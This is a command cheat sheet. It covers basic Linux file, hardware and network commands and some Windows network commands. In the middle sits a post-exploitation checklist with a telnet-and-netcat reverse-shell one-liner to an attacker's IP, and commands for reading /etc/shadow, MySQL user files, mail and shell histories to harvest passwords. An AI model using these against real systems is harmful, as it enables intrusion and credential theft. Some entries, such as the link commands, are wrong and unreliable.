

File Commands	
cd	Changes directory
uname -a lsb_release -a uname	it's showing all details of kernal version or summary of operating system. It's shows LSB – Linux Standard Base it's showing kernal version name
pwd	Curent directory
ls	List files in the directory
ls -a	List all files (shows hidden files)
pwd	Show directory you are currently working in
mkdir [directory]	Create a new directory
*rm [file_name] *	Remove a file
rm -r [directory_name] or rmdir [directory_name]	Remove a directory recursively
rm -rf [directory_name] OR rm -rf [directory_name]*	Recursively remove a directory and files without requiring confirmation
cp [file_name1] [file_name2]	Copy the contents of one file to another file
cp -r [directory_name1] [directory_name2]	Recursively copy the contents of one file to a second file
mv [file_name1] [file_name2]	Rename file name[file_name1] to [file_name2] with the command
mv [filename] /source-path /desti.path	Move one location to another location
ln -s /path/to/[file_name] [link_name]	Create a symbolic link or soft link to a file
ln [source.file] [Hardlink.file]	Hardlink(wheras a hard link is a mirror copy of the original file.) Inode number (11665731 vs 11665731) and file permissions (lrwxrwxrwx vs lrwxrwxrwx) are same..
ln -l [source.file] [softlink.file]	Soft Link or Symbolic link soft link is an actual link to the original file. Inode number (11665731 vs 1526692) and file permissions (lrwxrwxrwx vs -rw-r--r--) are different.
ls -il ls -i	Display the file inode(identify number) history of file It's display only inode number
touch [file_name]	Create a new file
cat [filename]	It's shows the inside of file
clear	Clears the screen
Hardware Information	
dmesg	Show bootup messages
cat /proc/cpuinfo	See CPU information
free -h	Display free and used memory with
df df -h	disk space for file systems usage disk space for file systems human readable format

du du -h	disk file space usage disk usage human readable format
lshw	List hardware configuration information
lsblk	See information about block devices
lspci -tv	Show PCI devices in a tree-like diagram
lsusb -tv	Display USB devices in a tree-like diagram
dmidecode	Show hardware information from the BIOS
hdparm -i /dev/disk	Display disk data information
hdparm -tT /dev/[device]	Conduct a read-speed test on device/disk
badblocks -s /dev/[device]	Test for unreadable blocks on device/disk
Operating System	
cat /etc/issue cat /etc/*-release cat /etc/lsb-release	What's the distribution type? What version?
cat /proc/version uname -a uname -mrs rpm -q kernel dmesg grep Linux ls /boot grep vmlinuz-	What's the kernel version? Is it 64-bit?
cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set	What can be learnt from the environmental variables
lpstat -a	Is there a printer?
Applications & Services	
ps aux ps -ef top cat /etc/services	What services are running? Which service has which user privilege?
ps aux grep root ps -ef grep root	Which service(s) are been running by root? Of these services, which are vulnerable
ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/	What applications are installed? What version are they? Are they currently running?
cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf	Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

<pre>cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRI /etc/ awk '\$1 ~ /^.r./</pre>	
<pre>crontab -l ls -alh /var/spool/cron ls -al /etc/ grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root</pre>	What jobs are scheduled?
<pre>grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 xargs -0 grep -i -n "var \$password" # Joomla</pre>	Any plain text usernames and/or passwords?
Communications & Networking	
<pre>/sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network</pre>	What NIC(s) does the system have? Is it connected to another network?
<pre>cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname</pre>	What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
<pre>lsof -i lsof -i 80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list grep 3 on last w</pre>	What other users & hosts are communicating with the system?
<pre>arp -e route /sbin/route -nee</pre>	What's cached? IP and/or MAC addresses
<pre>tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21 Note tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]</pre>	Is packet sniffing possible? What can be seen? Listen to live traffic

<p>Have you got a shell? Can you interact with the system?</p> <p>nc -lvp 4444 # Attacker. Input (Commands)</p> <p>nc -lvp 4445 # Attacker. Output (Results)</p> <p>telnet [attackers ip] 44444 /bin/sh [local ip] 44445 # On the targets system. Use the attackers IP!</p>	
<p>id</p> <p>who</p> <p>w</p> <p>last</p> <p>cat /etc/passwd cut -d -f1 # List of users</p> <p>grep -v -E "^#" /etc/passwd awk -F '\$3 == 0 { print \$1}' # List of super users</p> <p>awk -F '(\$3 == "0") {print}' /etc/passwd # List of super users</p> <p>cat /etc/s</p>	<p>Confidential Information & Users</p> <p>Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?</p>
<p>cat /etc/passwd</p> <p>cat /etc/group</p> <p>cat /etc/shadow</p> <p>ls -alh /var/mail/</p>	<p>What sensitive files can be found?</p>
<p>ls -ahlR /root/</p> <p>ls -ahlR /home/</p>	<p>Anything "interesting" in the home directorie(s)? If it's possible to access</p>
<p>cat /var/apache2/config.inc</p> <p>cat /var/lib/mysql/mysql/user.MYD</p> <p>cat /root/anaconda-ks.cfg</p>	<p>Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords</p>
<p>cat ~/.bash_history</p> <p>cat ~/.nano_history</p> <p>cat ~/.atftp_history</p> <p>cat ~/.mysql_history</p> <p>cat ~/.php_history</p>	<p>What has the user being doing? Is there any password in plain text? What have they been editing?</p>
<p>cat ~/.bashrc</p> <p>cat ~/.profile</p> <p>cat /var/mail/root</p> <p>cat /var/spool/mail/root</p>	<p>What user information can be found?</p>
<p>wc [filename]</p>	<p>showing count of the total number of lines, words, and characters contained in a file</p> <p>output 2 19 103 [filename]</p> <p>First Column – Represents the total number of lines in the file.</p> <p>Second Column – Represents the total number of words in the file.</p> <p>Third Column – Represents the total number of bytes in the file. This is the actual size of the file.</p> <p>Fourth Column – Represents the file name</p>

ping hostname or ip-address	Testing, measuring, and managing network OR Tracking and isolating hardware and software problems
nslookup [domain name]	this command to find the address record for a domain
top	statistics of CPU utilization by different processes
cat /proc/meminfo	cpu memory details
watch -n 1 ls -larth	watching folder per one second, if you want 5 second change you can do.
sudo update-alternatives --config java	change your versioning of java
env	showing environment variables on your system
netstat -tupln	Checking the active ports internet connections
whereis [java] or [mvn] or [docker] which [java] or [mvn] or [docker]	It's shows the path of program[java]
head [filename]	It's shows lines from the beginning of a file (the head)
head -n 3 opt/[filename]	It's shows only first 3 lines of file
tail [filename]	It's shows lines from the ending of a file (the head)
tail -n 3 opt/ [filename]	It's shows only last(end) 3 lines of file
systemctl start [service] systemctl disable [service] systemctl stop [service] systemctl status [service]	--> Start [service] --> To permanently disable [service] --> Stop [service] --> To check [service] status
history history tail history head history 25	all of the last commands that have been recently used. It's shows last used 10 commands It's shows first used 10 commands It's shows last 25 commands
grep	grep = globally search for regular expression and print out it's search for specified file.

Windows 10 network commands	
ping [host]; ping www.google.com	Pinging a host should return four data packets
ipconfig	general information includes IP Addresses for both IPv4 and IPv6
getmac	variables and switches.
hostname	simply display the current name of your Windows 10
nslookup	displays information that you can use to diagnose Domain Name System (DNS) infrastructure
tracert [host]; tracert www.google.com	handy tool for troubleshooting network connections
netstat	displays active TCP connections , ports on which the computer is listening , Ethernet statistics , the IP routing table , IPv4 statistics , and IPv6 statistics
arp /a	Arp displays entries in the Address Resolution Protocol (ARP) cache

pathping [host]; pathring www.google.com	PathPing combines the ping command with the tracert command , providing information about network latency and network loss at intermediate hops between a source and destination
SystemInfo	displays a detailed list of configuration information of PC

Sample